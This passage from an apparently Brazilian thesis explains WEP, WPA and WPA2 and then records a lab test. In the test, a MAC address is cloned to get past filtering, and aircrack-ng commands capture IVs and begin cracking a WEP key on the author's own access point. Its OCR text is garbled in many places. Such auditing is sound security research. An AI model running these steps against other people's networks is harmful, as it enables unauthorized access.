Transmitir informacdes por meio de ondas de radim @s tecnologias
existentes ndo € um trabalho muito dificil. A magbficuldade estd em garantir a
seguranca das informacgdes que trafegam nesse meio.

Para garantir essa seguranca existem os protoogbdsgraficos para redes

sem fio: WEP, WPA e WPAZ2. Esses trés protocoladosapresentados nesse capitulo.

5.1WIRED EQUIVALENT PRIVACYWEP

Em 1999, por meio do padrdo 802.11, foi aprovadd/iced Equivalent
Privacy (WEP) como primeiro protocolo de seguranca palagesem fio, objetivando
oferecer as WLANS privacidade semelhante a dasledais (TANENBAUM, 2003).

A grande maioria dos equipamentos comercializadgsorta protocolo
WEP, pelo menos em suas versdes de 64 ébit@8Para fazer uso desse protocolo €
necessario que todos os equipamentos envolvidamanicacdo o suportem. Caso
contrario, ndo poderao ingressar a rede.

De acordo com Tanenbaum (2003) o WEP baseia-se mnalgoritmo
criptografico de fluxo, chamado don’s Code4 (RC4), para garantir privacidade das
informac0des trafegadas. Em conjunto, o algori@yclic Redundancy Che¢KRC-32)

é utilizado para fornecer integridade quanto acstes.

O autor ainda afirma que o RC4 manteve-se secktap periodo, mas

acabou sendo divulgado e publicado na Internet @4.1INo WEP, esse algoritmo é

utilizado para gerar um fluxo de chaves (denomirkadstrearnjunto a uma operacéo
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XOR (Ou-exclusivo) e a um texto simples (chamadain-tex) para formar uma

mensagem cifrada.

Dados ICV

\Y Senha WEP Byte

Cifrado

» |V Pacote Cifrado

RC4

KeyStream

Figura 8. Encapsulamento WEP.
Fonte: Adaptado de TANEMBAUM, A. (2003)

Conforme Figura 8 apenas a mensagenirgegrity Check Valu€ICV) séo
criptografados. Todo o resto do pacote passa eto pgano pela rede sem fio. O WEP
utiliza-se de um vetor de inicializacdo (chamadg B6m 24 bits de tamanho,
concatenado a chave que pode ser de 40, 104 owis3Zompartilhada entre os
clientes e o ponto de acesso.

Durante a transmissao do pacote, um vetor de z@g@o (1V) de 2bits é
selecionado randomicamente e € anexado a chavepaifaHazer uma nova chave de
64, 128 ou 25bits. Nesse processo, sao utilizados dois algoritmes Ha RC4Key-
Scheduling Algorithm(KSA) e Pseudo-Random Generation AlgorithiPRGA)

(VACCA, 2006).
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5.1.1 AUTENTICACAO WEP

A autenticacdo do protocolo WEP é feita de duaseimas1 Sistema Aberto
ou Chave Compartilhada, também chamaddSpkn SysteraShared Key

O Sistema Aberto permite associacdo direta a rede & passagem de
nenhuma senha. Para isso, basta informar a idewgifo (SSID) da rede sem fio. O
processo de descoberta da rede e mapeamento des disjgoniveis é feito
automaticamente pelos adaptadores, portanto, Estegso torna-se transparente para o
usuario. Logo apds a associacdo, 0 ponto de ammd®ita a senha para que seja
devidamente autenticado, podendo fazer uso efetavaede. A Figura 9 ilustra o

modelo de autenticacéo sistema aberto.

1 - oolicita Autenticagdo r

=) " I~

™

2- AP Autentica

T

REDE )

3 - Conecta 4 rede
Cliente Ponto de Acesso

v

Figura 9. Autenticacdo WEP Sistema Aberto
Fonte: Adaptado de INFORMACAO SEGURA (2008)

Ja no mecanismo de Chave Compartilhada, o pontcesso utiliza uma
técnica dechallenge responsé cliente envia um pedido de autenticacdo aocpdat
acesso que por sua vez responde com qualquer pixtm. Este texto plano é
criptografado juntamente com a chave e enviadaoatople acesso. Se o resultado do
processo de decifragem do lado Alccess Poinfor o mesmo inicialmente enviado,
entdo o cliente é associado a rede. Na Figura dé ger visto o modelo de autenticagédo

com chave compartilhada.
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1 - Bolicita Autenticagdo

-

2- AP emvia desafio-resposta —

-_._"\\ L F i
p— £
= /

-

3- Criptografa desafio-resposta : -
& devolve para AP v REDE A

4 - AP descriptografa desafio-
reposta e se correto autentica | Ponto de Acesso

Cliente
A - Conecta a rede

e
L

Figura 10. Autenticacdo WEP Chave compartilhada
Fonte: Adaptado de INFORMACAO SEGURA (2008)

5.1.2 VULNERABILIDADES

As principais vulnerabilidades WEP descritas rexdiura, por Tanembaum
(2003) e Rufino (2005) e tantos outros estdo refeaias ao tamanho e reuso de chaves,
autenticacdo fraca, gerenciamento de chaves, formattransmissdao do vetor de
inicializacéo, entre outros.

As chaves estaticas WEP possuem tamanho d#s}@Geguidos dos 2dits
do vetor de inicializacdo. Versdes posteriores cOMivA, criaram chaves estaticas de
104 e 232vits, mantendo os 2M8its de IV. Em uma rede com alto volume de trafego é
normal acontecer uma repeticdo do vetor de inkdgho e consequentemente a
repeticdo de uma chave RC4. Mesmo que ndo hajdayreriume de dados na rede, um
atacante podera por meio de técnicas de injec@ladies forcar a troca de pacotes com
0 ponto de acesso a fim de gerar um nimero eledadd's.

A autenticacdo de chave compartilhada pode selmfacte burlada com
uma escuta na rede a procura de um pacote em pat0 e seu correspondente
criptografado, facilitando a identificacéo do flude chaves para criar uma autenticacao

forjada, e sem senha, com o ponto de acesso.
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Em 2001, Fluhrer et al apud (2001) e Nakamura es@2003), publicaram
um artigo abordando fraquezas no algoritmo KSA do4Re posteriormente sua
aplicabilidade diante das chaves WEP estaticasaque, conhecido como FMS (pelas
iniciais de seus autores Fluhrer, Mantin e Sharas)a disponivel em diversas
ferramentas de auditoria de redes sem fio. Nessgi@atpara descobrir a chave WEP é
necessario a captura de um grande numero de paorted/s diferentes, ou seja, um

grande namero de Vs Unicos.

5.2WI-FI PROTECT ACCESSWPA

A primeira versao do protocolo de criptografia WBérgiu em 2003, por
meio da unido dos membros\d&-Fi Alliancecom membros do IEEE, com o intuito de
aumentar o nivel de seguranca das redes sem flo tan vista as vulnerabilidades de
conhecimento publico do protocolo WEP.

De acordo com aVi-Fi Alliance (2003), o WPA foi criado em meio a
turbuléncias relacionadas as deficiéncias do WEfuaro que um novo padréo,
denominado 802.11i (hoje WPA2), ainda néo havia patronizado.

O WPA, portanto, continua sendo baseado no RC4 e atguns
procedimentos encontrados na especificacdo do BORElhorias aparentes surgiram
tais como:

a) vetor de inicializagdo maior,;

b) utilizagdo de um novo cddigo de verificacdo de grnitade das
mensagens;

C) gerenciamento de chaves;

d) modo de autenticag&o corporativo e pessoal (dotogsti
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5.2.1 Encapsulamento WPA

O WPA faz uso dd@emporal Key Integrity ProtocdITKIP), que é baseado
no conceito de re-chaveamento ou chaves tempdaaisndo com que as elas sejam
substituidas automaticamente depois de um detedmieanpo de uso.

O Encapsulamenteo WPA é similar ao WEP, a grantbredica esta na
chave formada que servira de base para o RC4. taws da chave disponibiliza
combinacdes onde o vetor de inicializacdo, o egdekAC do transmissor e a chave
criptografica sao utilizados. Por sua vez, a chaesultante do algoritmo de

combinacéo, juntamente com o vetor de inicializagdo repassados ao RCA4.

5.2.2 Autenticacdo WPA

Existem dois tipos de autenticacdo no protocolo WB#amados WPA
Pessoal e WPA Corporativo. A referéncia IEEE 802(2004) define o modo de

funcionamento destes dois modos da seguinte maneira

a) WPA Pessoal (WPA-PSK): utiliza-se o conceito de chave
compartilhada Rre-Shared Key variando entre 8 a 63 caracteres,
funciona por meio do conhecimento da senha (chamassphrase
entre o ponto de acesso e 0s usuarios;

b) WPA Corporativo: toda a autenticacdo realizada € dependente de
um servidor de autenticacdo. A comunicacéo enpgento de acesso
e o servidor é feita com a especificacdo 802.1xstédNenodo de

autenticacao, existe outro protocolo envolvido,ncado Extensible
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Authentication Protocol(EAP) que juntamente com o 802.1x é
responsavel pela autenticacdo externa em um seradooutro

eguipamento ativo responsavel.

5.2.3 Vantagens do WPA sobre o protocolo WEP

De acordo com Sklavos e Zhang (2007), o WPA utiliaconceito de vetor
de inicializacdo estendido de 4#its, reduzindo potencialmente a possibilidade de
repeticdo das chaves. Aliado a isso, regras paeteaminacao e verificacdo dos IV's
foram adicionados para evitar ataques de injecgmadetes a fim de aumentar o trafego
da rede e capturar um maior niumero de vetores.

Outra vantagem € a melhoria no processo de awedtcde usuarios,
dependendo do modo de autenticacdo WPA, € podgaiesl com que a distribuicéo e
gerenciamento de chaves sejam dinamicos e autasasiendo o protocolo responsavel
por todo o trabalho. Existe também a possibilidgde, meio da extensado corporativa,

efetuar a autenticagao utilizando servidores cbaukendsle autenticacao.

5.2.4 Vulnerabilidades

A principal vulnerabilidade no WPA esta relacionadatilizacdo do método
de autenticacdo PSK, mesmo em infra-estruturasocapas. Segundo &Vi-Fi
Alliance (2003), ndo é tdo comum a existéncia de um servphva fazer as
autenticagdes, de forma que o modelo de chave ctithpda continua sendo utilizado.

Um atacante podera usufruir de ataques de dicmmén meio da captura passiva de
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trafego da rede. Pelo fato da maioria dos usuatitigarem senhas fracas, fica facil
quebrar a senha.

No caso de senhas dificeis, o atacante ficaraitoesio tamanho do
dicionario e da capacidade de combinacfes por degyure o equipamento pode fazer,

levando dias, meses e talvez ndo conseguindo quebrecipalmente em tempo habil.

5.3 IEEE 802.11i - WPA2

O protocolo 802.11i também conhecido como WPAZ2, radificado em
junho de 2004 pela IEEE. Criado como promessa darsas erros encontrados nos
protocolos WEP e WPA. Sua principal melhoria enagé&b a sua versao anterior esta
relacionada ao método criptogréfico utilizado, o AMRiliza o algoritmo TKIP com o
algoritmo RC4, enquanto o WPA2 utiliza a criptograAdvanced Encryptation
Standart(AES) em conjunto com o TKIP com chave de B8§ que é considerado um
método mais seguro devido ao tamanho da sua chawglizacdo da chave com 256

bits é padrdo WPA2.

5.3.1 Algoritmo AES

O algoritmo AES foi criado a partir de uma comp@tigpromovida pela
National Institute of Standards and Technolo@ST) dos Estados Unidos. Essa
competicao foi criada com o intuito de substitualgoritmo DES.

A competicdo teve inicio em janeiro de 1997 e téamio dia 2 de outubro
de 2000 tendo como vencedor o algoritmo Rijnda&do por Vincent Rijmen e Joan

Daemen.
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Em 2006 tornou-se um padréo efetivo ja estande ergrmais populares e
usados para criptografia com chave simétrica. Aufaigll mostra uma comparagao

entre o algoritmo AES e outros padrdes ja conhscido

TAMANHO DA NO DE OPERACOES
i —— CHAVE RODADAS MATEMATICAS
AES 128, 192 ou 256 bits 10, 12, 14 XOR, S-Boxes fixas
DES 56 bits 16 XOR, S-Boxes fixas
3DES 112 ou 168 bits 48 XOR, S-Boxes fixas
IDEA 128 bits 8 XOR, adi¢@o, multiplica¢do
XOR, S-Boxes variaveis,
Blowfish Variavel ate 448 bits 16 adicdo
Adigao, Subtracao, XOR,
RC5 Variavel ate 2048 bits Variavel ate 255 rotacgao
Adigao, subtragdo, XOR,
CAST-128 40 ate 128 bits 16 rota¢do, S-Boxes fixas

Figura 11. Comparac¢do Algoritmo AES.
Fonte: Adaptado de CARVALHO, D.B. (2000)

O AES é um algoritmo de encriptacdo de blocos ddoslaou seja, o
algoritmo combina uma chave e um bloco de dadak28dits para gerar outro bloco
de 128bits completamente diferente do original.

O AES trabalha repetindo varias vezes um conjuefmido de passos que
trabalha com chave secreta que opera com um ndirerde bytes Uma caracteristica
interessante do AES é que 0 processo utilizado grazaptacdo dos dados é o mesmo
utilizado para a desencriptacdo, significando qgefabricantes precisam apenas
implementar o processo de encriptacdo ndo havendoessidade de implementar o de
desencriptacdo (CARVALHO, 2000).

O controle de integridade e autenticacdo sao osnogesitilizados pelo

WPA.
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5.3.2 Vulnerabilidades

Mediante a pesquisa realizada poucas vulnerabdslddram encontradas
sobre o protocolo WPAZ2. Isso se deve ao fato deotwgolo ndo ser o mais utilizado,
em relacdo aos anteriores, sendo assim menos &dplerpesquisado por invasores. As
vulnerabilidades conhecidas do protocolo sao:

a) Negacdo de Servicoos mecanismos de seguranca existentes até
entdo ndo protegem os quadros de gerenciamentotleo sendo
assim o ataque de negacao de servico, que considientativa de
deixar os recursos indisponiveis, é possivel dexseutar. Neste
protocolo € mais comum o0 envio de pacotes parasautienticacao
do usuario com a rede;

b) PSK com tamanho pequeno ndo €é uma vulnerabilidade
propriamente dita do protocolo e sim um problemaa®iguracao
da chave pelo usuario. Chaves PSK muito pequenasus@etiveis a
atagues de dicionario. O indicado é que se utilizkaves com mais
de 20 caracteres, aumentando assim significativeementempo

necessario para quebra da chave.
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6 TRABALHOS CORRELATOS

O estudo da seguranca em redes sem fio esta adesam forma
significativa nos dltimos anos. A mobilidade e aoxbacusto sado os fatores que mais
contribuem para a popularizacdo das mesmas.

A seguir sdo mostrados alguns trabalhos de pesqeis&ionados a

seguranca nas redes sem fios:

6.1 SEGURANCA EM REDES SEM FIO 802.11

Monografia para Conclusdo de Curso de Especialivag@ Redes de
Computadores e Comunicacéo de Dados, realizaddd@6) Ba Universidade Estadual
de Londrina. O trabalho tem como objetivo apreseont problemas contidos na
seguranca em redes sem fios e os esfor¢cos da atexdenem resolvé-los, oferecendo
protocolos com niveis de seguranca equivalentedassedes com fio. Nesse trabalho
nao foi realizado nenhum tipo de teste, soment@irdentadas as principais falhas e

algumas possiveis tentativas de minimiza-las (PAIX206).

6.2 SEGURANCA EM REDESIRELESSPADRAO IEEE 802.11B: PROTOCOLOS

WEP, WPA E ANALISE DE DESEMPENHO

Trabalho de Conclusé&o de Curso de Ciéncia da Caofoyt realizado em
2004, na Universidade da Amazoénia - UNAMA. O tralbatonsistiu em apresentar o
funcionamento do padrédo IEEE 802.11b, focando ésmeoente as caracteristicas da

seguranca. Descreve o0s mecanismos de segurancadidope as fraquezas de
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seguranca dos protocolos WEP e WPA. Sao apresentztabém, conclusdes sobre
experimentos praticos, medindo o fluxo da rede aartilizacdo dos protocolos citados.
Nesse trabalho nédo foi realizado nenhum tipo dée tde ataque ou defesa. Foi
desenvolvida uma analise de desempenho na trad@emdssfluxo de dados, utilizando

os protocolos WEP e WPA. (PEREIRA JUNIOR; BRABO; BRAS, 2004).

6.3 SEGURANCA EM REDES WI-FI

Trabalho de Conclusdo de Curso de Sistemas demaf@o, realizado em
2005, na Universidade Estadual de Montes ClarosNMMONTES. O trabalho é
constituido dos aspectos gerais das configuracéesedguranca em redes Wi-Fi. S&o
apresentadas varias configuracbes, desde a lagdizdos aparelhos até a mais
complexa configuracdo, ideais para se obter umaskgaranca. Nesse trabalho séo
documentadas as falhas que podem ser encontradieesiesnWi-Fi e como se proteger

das mesmas (AGUIAR, 2005).

6.4 SEGURANCA DA TRANSMISSAO DE DADOS PORLUETOOTH EM

AMBIENTES MOVEIS

Trabalho de Concluséo de Curso de Ciéncia da Caodoyt realizado em
2007, na Universidade do Extremo Sul CatarinenséNESC. O Trabalho aborda a
segurangca como ponto principal para a utilizagdo tetaologia bluetooth S&o
apresentados métodos e técnicas de seguranca gierdip® de ambiente movel,
utilizando obluetoothcomo objeto de estudo para comunicacdo. A paétcprdeste

trabalho consistiu em um protétipo deftwarede prontuério eletrénico trabalhando
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como cliente servidor, onde o cliente seria exelmtam um celular com tecnologia
bluetooth que teria o objetivo de recolher dados dos passerdm seus leitos
hospitalares e em seguida envia-los para um servide meio da comunicacdo por

bluetoothque iria armazenar esses dados num banco de (ROBRIGUES, 2007).
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7 TESTES UTILIZANDO OS PROTOCOLOS WEP, WPA E WPA2

Na pesquisa desenvolvida foi realizado um estudiocte e pratico sobre os
aspectos de seguranca em redes sem fio, utilizangadrédo IEEE 802.11g. Foi
pesquisada a seguranca nas redes sem fio e efetalglms testes praticos para a
avaliacao e validacao dos protocolos criptografledsP, WPA e WPA2, no que tange
a utilizacéo de redes sem fio padrao 802.11.

Foram criados diferentes cenarios para a coletaintlemacdes com
posterior analise, servindo de base para a comcleis# elaboracdo de um documento
formal e um guia de boas praticas para a utilizatfioedes sem fio, estas que estédo
cada vez mais sendo utilizadas sem as devidasypa&g@es relacionadas a seguranca
da informacao.

Nessa pesquisa sdo mostradas as suas vulneradsljdean como a maneira
de se defender das mesmas. Os testes serdo reslizasl ambientes implementados
com cada um dos protocolos citados anteriormemeiando desde a menor

configuracdo do protocolo até a mais complexa.

7.1 FERRAMENTAS E PERIFERICOS UTILIZADOS

Durante a validagdo e analise dos protocolos gigficos WEP, WPA e
WPAZ2, foram criados ambientes simulados para aug&ecdos testes. Para isso, foram
utilizados os equipamentos exibidos na Figura &8citos na Tabela 5.

O sistema operacional utilizado no ambiente foinux Ubuntu8.04
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Access Point Moadem ADSL

t

o
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Atacante

Figura 12. Ambiente utilizado nos testes realizados

E importante ressaltar que os testes foram exemsitadilizando os

protocolos WEP, WPA e WPA2 e o padrdo 802.11g.

Tabela 5. Equipamentos e periféricos utilizados.

Equipamento Descrigcédo

D-Link DI-524 Roteador Sem Fi@écess point
D-Link DSL 500G Modem ADSL

D-Link DWA-510 Placa Sem Fio PCI

D-Link DWA-110 Adaptador Sem Fio USB

Notebook Toshiba Utilizado para efetuar os ataques.

Desktop Utilizado como usuério de conexdo coraczess point
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O software utilizado em todos os testes fdlicrack-NG que é uma suite
com ferramentas, mundialmente reconhecida e wdizgara fins de testes sobre redes
sem fio. Essa suite € composta por varios modelmam utilizados nessa pesquisa 0s
modulos descritos na tabela 6.

A ferramenta € nativa dioinux e sua licenca é livre, é executada por meio
de comandos no terminal danux. Vale ressaltar que a ferramenta s6 executa 0s

comandos com o usuarnioot! noLinux

Tabela 6. Suite Aircrack-NG.

Software Descricao

Aircrack-NG Responsavel pela quebra das chaves.

Airmon-NG Responsavel pela definicdo de modo monitor nasfaaees
sem fios

Airodump-NG Responsavel pela analise passiva nas redes, basieam

usado par coleta de IVs.

Aireplay-NG Responsavel pelo envio de pacotesewess pointPode ser
utiizado para geracao de trafego ARP nas redea par
aumentar o trafego de pacotes e consequentememteudi
0 tempo necessério para a quebra.

7.2 CENARIOS E METRICAS

Os cenarios utilizados nesse trabalho compreendigumas condi¢cdes de
configuragdes daccess poinho ambiente criado, que podem influenciar na sewa

da rede sem fio. Os cenérios criados foram os ISt

1 O usuérioroot (também conhecido como o superusuério) tem acesspleto a todos 0s recursos e
softwaresdo sistema.
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a) configuracdo padrdo: equipamento com as configuracdes de fabrica.
Somente as informacgcdes necessarias para 0 sewrfamento foram
configuradas pelo assistente do equipamenizafd);

b) restricdo por MAC: restricbes baseadas em enderecos fisicos dos
equipamentos sem fios que poderdo ingressar na rede

c) presenca do protocolo WEP:existéncia do protocolo de criptografia
WEP protegido por senha;

d) presenca do protocolo WPA:existéncia do protocolo de criptografia
WPA protegido por senha;

e) presenca do protocolo WPAZ2:existéncia do protocolo de criptografia
WPAZ2 protegido por senha.

Com base nos cenarios estabelecidos € necesstaieleser também as
métricas que servirdo de base para a conclusdouengotacdo do trabalho, as métricas
sao as seguintes;

a) anélise dos pacotesrerificacdo do trafego da rede em modo monisor

fim de coletar dados com informacdes Uteis aosuataq

b) analise dos protocolosimplementar os protocolos citados anteriormente
a fim de testar o grau de seguranca dos mesmos;

c) analise da vulnerabilidade:em conjunto com a anélise dos protocolos,
tem a funcdo de dar interpretacdo aos dados cotetad inferir
diretamente na existéncia de pontos criticos naraaga no que tange
ao uso da rede sem fio;

d) anadlise das senhasguando utilizados protocolos criptogréaficos naered

sem fio, sera analisado o tempo de quebra parasenh

2 Assistente de configuragdo do equipamento.
¥ Modo no qual o cliente ndo precisa estar conecasale, apenas captura pacotes de maneira passiva.
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7.2.1 Configuracao Padrao

A configuracdo padréao do equipamento D-Link DI-5adljzado nos testes
no decorrer do trabalho, possui um assistenter&igj8, para configuracdo de algumas
informacfes basicas para o funcionamento do eqep@mn Preenchendo essas

informacdes corretamente, 0 equipamento ja entriueaionamento.

R;!\le,}:}?lmﬁ AirPlus G

802.11g/2.4GHz Wireless Router

Advanced Tools Status  Help

DI-524

=
=

The DI524 is an Ethernet Broadband Router ideal for home networking and small
husiness networking. The setup wizard will guide you to configure the DI-524 to
Wizard connect to your ISP (Internet Service Provider). The DI1-524's easy setup will allow
you to have Internet access within minutes. Please follow the setup wizard step
bystep to configure the DI-524.

Wireless

[ wisies |

Fun Wizard |
:1_
LAN

Help

I Logot I

Figura 13. Tela inicial de configuragdo do equipatoé-Link DI-524

O problema é que a maioria dos fabricantes nataatebre as medidas de
seguranca que devem ser tomadas pelo usuario ncem@mda configuracdo dos
equipamentos. Se executarmos o assistente de watfigp do equipamento D-Link DI-
524 no momento das configuracbes semdicsegurancasécurity Figura 14, ja vem
desabilitada e o usuério que tem pouco conhecinetemdera que ndo ha necessidade

de ser configurada.
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htkpe 1192, 168,0.1 fcgi-bing prinfrc=108_x 1=10018_xZ=108_xx==~rd=wiz04_SDF00=:x&DF(

DI-oZ4 Setupvizard

Set Wireless connection

Enter inthe 551D name and Channel number to be used far the
Wireless Access Paint. Click Mext to cantinue.

Network ID(SSID) |dink

Channel [6 «| Security 'l-

¥ W w0

Back Cancel Next Exit

Figura 14. Assistente de configura¢édo da rede gedofequipamento D-Link DI-524

Mediante isso, conclui-se que o nivel de seguralecama rede sem fios
com as configuracdes padrbes de fabrica € extrentantmixo, estando limitado
somente ao alcance do sinal, sendo que um atacaottera dificuldade alguma para

acessar a rede.

7.2.2 Restricdo por MAC

Restringir o acesso por MAC significa especificaaig os enderecos fisicos
(em nivel de enlace) poderdo acessar ou ndo cafAR, para a utilizacdo de rede sem
fio, quanto para a utilizacdo de portathernel caso o equipamento atue como um

comutador, que é o caso do equipamento em questt#itkDI-524.
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Nessa etapa do teste foi deixado o AP no estaderi@niconfiguracao
padréo), ativando, porém, o filtro por MAC, cadastto o endereco do computador
usuario. Com o computador atacante foi possivel, meio do comando iwlist”,
verificar quais redes estdo ao alcance. O comatilivado para escanear foiiwlist

scan”, que traz as informacdes que podem ser obsemadaigura 15.

Arguivo Editar Wer Terminal Abas Ajuda

root@atacante:~# iwlist scan [~]
lo Interface doesn't support scanning.
eth@ Interface doesn't support scanning.

wmaster® Interface doesn't support scanning.

wlan@ Scan completed :

Cell 91 - |Address: 00:1B:11:F4:EF:74
ESSID:"dlink"

Mode:Master

Channel:6

Frequency:2.437 GHz (Channel &)

uality=52/108 Signal level=-46 dBm
Encryption key:off
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; & Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=000000080112a1278
Cell 82 -[Address: B0:1A:3F:40:AE:34
ESSID: "INTELBRAS"
Mode:Master
Channel:11
Freguency:2.462 GHz (Channel 11) Bl
Quality=53/108 Signal level=-38 dBm
|[Encryption key:on |
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; & Mb/s
12 Mb/s; 24 Mb/s; 36 Mb/s; 9 Mb/s; 18 Mb/s
48 Mb/s; 54 Mb/s
Extra:tsf=00000008006d5ee9

root@atacante:~# |j

Figura 15. Saida do comaniidist scan

Conforme saida do comandwlist” na Figura 15, pode-se visualizar que
foram encontradas duas redes (dlink e INTELBRASjeas respectivos enderecos
MAC. Pode ser observado, também, que a rede “dledeiforme mencao anterior, ndo
possui nenhuma encriptacaen¢ryption key:ojf Ja a rede “INTELBRAS” a possui

(encryption key:on
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A rede em questdo é identificada como “dlink”, c@odereco MAC é
00:1B:11:F4:EF:74. Para se ter acesso a essa oededessario alterar o endereco
MAC do adaptador de rede da maquina do atacanteri® com o mesmo endereco
fisico do AP que foi listado. Para isso, foram exado os trés comandos contidos na
Figura 16. Vale ressaltar que no segundo comand® sky colocado o endereco MAC

que o adaptador de rede do atacante deve assumir.

1 # ifconfig wlanO down
2 # ifconfig wlanO hw ether 00:1B:11:F4:EF:74

3 # ifconfig wlanO up

Figura 16. Comandos para alterar o endereco MACmox.

O primeiro comando desativa a interface wlanO, spieefere a interface de
rede sem fio do computador do atacante. O segundartdo altera o endereco MAC e
o terceiro inicia a interface novamente.

Apé6s a execucdo desses comandos, o0 endereco (isicadaptador do
atacante ja esta alterado, obtendo o acesso aHdd®ortante lembrar que access
pointsé aceita um endereco fisico igual conectado eor v

Utilizar restricdo por MACGaddressndo garante total seguranca a rede, visto
que nos testes efetuados foi preciso pouco temgdgums comandos para descobrir o
MAC e clonéa-lo, tendo acesso a rede sem maiorgsildiddes.

Como unica forma de seguranca a restricdo por MA@réeeravel. Contudo,
se utilizada juntamente com algum protocolo crigiigo como o WEP ou WPA,

aumentara o nivel da seguranca da rede.
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7.2.3 Presenca do Protocolo WEP

O protocolo WEP tem como principal objetivo fazeraumistura dos dados
que sao transmitidos pela rede sem fio, fazendoqumrdispositivos, mesmo em modo
monitor, ndo consigam enxergar a rede, nem se @ipmode deficiéncias em protocolos
sem criptografia. Num segundo momento, o WEP taméémsponsavel por definir
uma senha de acesso a rede.

O protocolo WEP suporta chaves de 64, 128, 155&is Os testes foram
efetuados sobre chaves WEP® e WEP 12&its, que sao dois tamanhos de chaves
suportadas pelos equipamentos do ambiente crigddmleém na grande maioria dos
equipamentos disponiveis no mercado.

Conforme descricdo na secdo 5.1.2, o WEP possusaria problema ao
utilizar o algoritmo RC4 juntamente com o IV (vettw inicializacdo), que tem como
objetivo prevenir qualquer repeticdo de chave derao trafego. O vetor de
inicializagdo, parte vital para o funcionamentoptotocolo, é enviado na rede em uma
area de dados ndo criptografada.

Muito embora as variagbes de WEP (64, 128, 1526&R§ incrementem o
tamanho do 1V, os ataques continuam acontecenduoatmente, exigindo, entretanto,
cada vez mais trafego nas redes para que as ghasg&emm ser quebradas. Quanto maior
o trafego de rede, maior o numero de IVs sendcsmtnéidos e, consequentemente,
maior a chance de se realizar um ataque de fouta $obre a chave relacionada.

Quebrar a criptografia WEP consiste nos seguirdesgs:

a) Obter algumas informacdes sobre a rede;

b) iniciar interface em modo monitor;

c) capturar IVs;
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d) realizar a quebra por meio de forca bruta.

7.2.3.1 Quebrando WEP 64aits

Inicialmente foi habilitada a criptografia WEP @ts no access point,

conforme a Figura 17.

D-Link

BUlKIng Networks 1or FEople

AirPilus G

802.11g/2.4GHz Wireless Router

| Home LIl L e Help
DI-524 Wireless ::Lr;a}i;éa';n}-,'-,
These are the wireless setfings for the AP(Access Pointy portion,

ﬁ:“ wireless & Enabled " Disabled

Metwaork ID{SSI0) {elink
— =

Security [wer x|

Authentication Type  open System ® Shared Key T Both

Wiresless

WEP Encryption i54El'rt v|

| Key Maode !HE_:-: ‘I
WEP Key1 | jakod23458

keya © |
Input 10 HEX characters. (HEX is 0~8, A~F, ar a0

DHCP

o

: i -

o]
key 3 ("|

= @ 90

Apply Cancel Help

Figura 17. Criptografia WEP @dits habilitada naccess point

Prosseguindo com o teste foi executado o comanddist' wlanO scan”
para se obter algumas informacdes basicas da wdeppder iniciar o ataque. Esse
comando fez uma varredura nas redes sem fio préxitmezendo as informagfes como
0 nome da rede, o endereco MAC, se existe ou maonal criptografia e o canal em

gue a rede esta transmitindo. A Figura 18 apreses#da do comando.
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root@atacante:~# [iwlist wlan® scan | A

wlan@ Scan completed :

Cell 81 -[Address: @0:1B:11:F4:EF:74 |

ESSID:"dlink"|

Mode :Master

Frequency:2.437 GHz (Channel 6)

Quality=53/108 Signal level=-42 dBm

|[Encryption key:on|

Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; & Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s
48 Mb/s; 54 Mb/s

Extra:tsf=00000000059cdfas

root@atacante:~# ||

Figura 18. Varredura do comando iwlist.

Conforme a Figura 18, a rede identificada como nidli esta com
criptografia habilitada.

Nessa etapa do ataque foi colocada a interfacedi gem fio (wlan0) em
modo monitor. Para tanto, foi utilizada a ferramaehirmon-NG que pertence a suite
Aircrack-NG Foi executado, primeiramente, 0 comandaoron-ng stop wlanQ’para
parar 0 modo monitor, caso 0 mesmo ja estivessexecucao, e em seguidairmon-

ng start wlanQ” para iniciar a interface no modo monitor. A Figur@ exibe os

comandos que foram executados.
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root@atacante:~#|airmon-ng stop wlan@ [~
Interface Chipset Driver
wlang Ralink 2561 PCI rt6lpci - [phy@]

| (monitor mode disabled)]|

root@atacante:~#|airmon-ng start wlanﬂ‘

Interface Chipset Driver

wland Ralink 2561 PCI rt6lpci - [phy@]
(monitor mode enabled on mon@)

root@atacante:~# ||

Figura 19. Configurando placa de rede como modaitomon

Apoés essa etapa foi iniciada a captura de IVaa®ss pointPara capturar
os Vs foi utilizado da suitéicrack-NG a ferramentaAirodump-NG por meio do
comando: airodump-ng -c 6 -w captura64 wlanONesse comando, uma informagao
importante repassada foi o parametro (-c 6) que éamal em que o AP esta
transmitindo, que foi adquirido por meio do comarigdist” . Esse parametro serve
como filtro no comando. Caso haja mais alguma owgtdg préxima, o comando ira
capturar somente os IVs do canal 6 que é a redguestdo. O parametro “captura64”
foi 0 nome dado ao arquivo de captura dos IVs. Nark 20 pode ser observada a

captura dos dados por meio @oodump-ng
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CH 6 ][ Elapsed: 21 mins ][ 20088-18-26 17:59 B
BSSID PWR RXQ Beacons #Data,l #/s |[CH |MB ENC CIPHER AUTH|ESSID
00:1B:11:F4:EF:74 210 0 0 26292 0 6 | 54. WEP WEP dlink

BSSID STATION PWR  Rate Lost Packets Probes

00:1B:11:F4:EF:74 00:16:44:13:BF:C0 212 g- 1 0 26617

root@tacante:~# |

Figura 20. Airodump-ng capturando dados da rede.

Apés 21 minutos, osoftware havia capturado 26.292 |Vs, quantidade
consideravel para iniciar a quebra (recomenda eno tde 30.000 IVs para WEP 64 e
60.000 Vs para WEP 128). ApGs essa coleta, fosipebiniciar a quebra da chave de
criptografia com a utilizacao do softwakecrack-ngpor meio de forca bruta.

Vale ressaltar que existesoftwaresque geram trafego entre a rede que se
deseja atacar e a maquina do atacante, a fim deninam o tempo de captura dos IVs e,
consequentemente, o tempo da quebra.

Por meio do comandoaircrack-ng ./captura64-0l1.cap”foi iniciada a
quebra da chave, sendo o parametro “captura64glcaome do arquivo que foi
salvo anteriormente com a sua respectiva exteds&ogura 21 apresenta software

Aircrack-NGem execucao sobre o arquivo “captura64”.
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root@atacante:=#|aircrack—ng .fcapturaﬁ4—@1.cap| [
Opening ./capturabd-@l.cap

Read 26785 packets.

# BSSID ESSID Encryption

1 08:1B:11:F4:EF:74 dlink WEFP (26292 IVs)
Choosing first network as target.
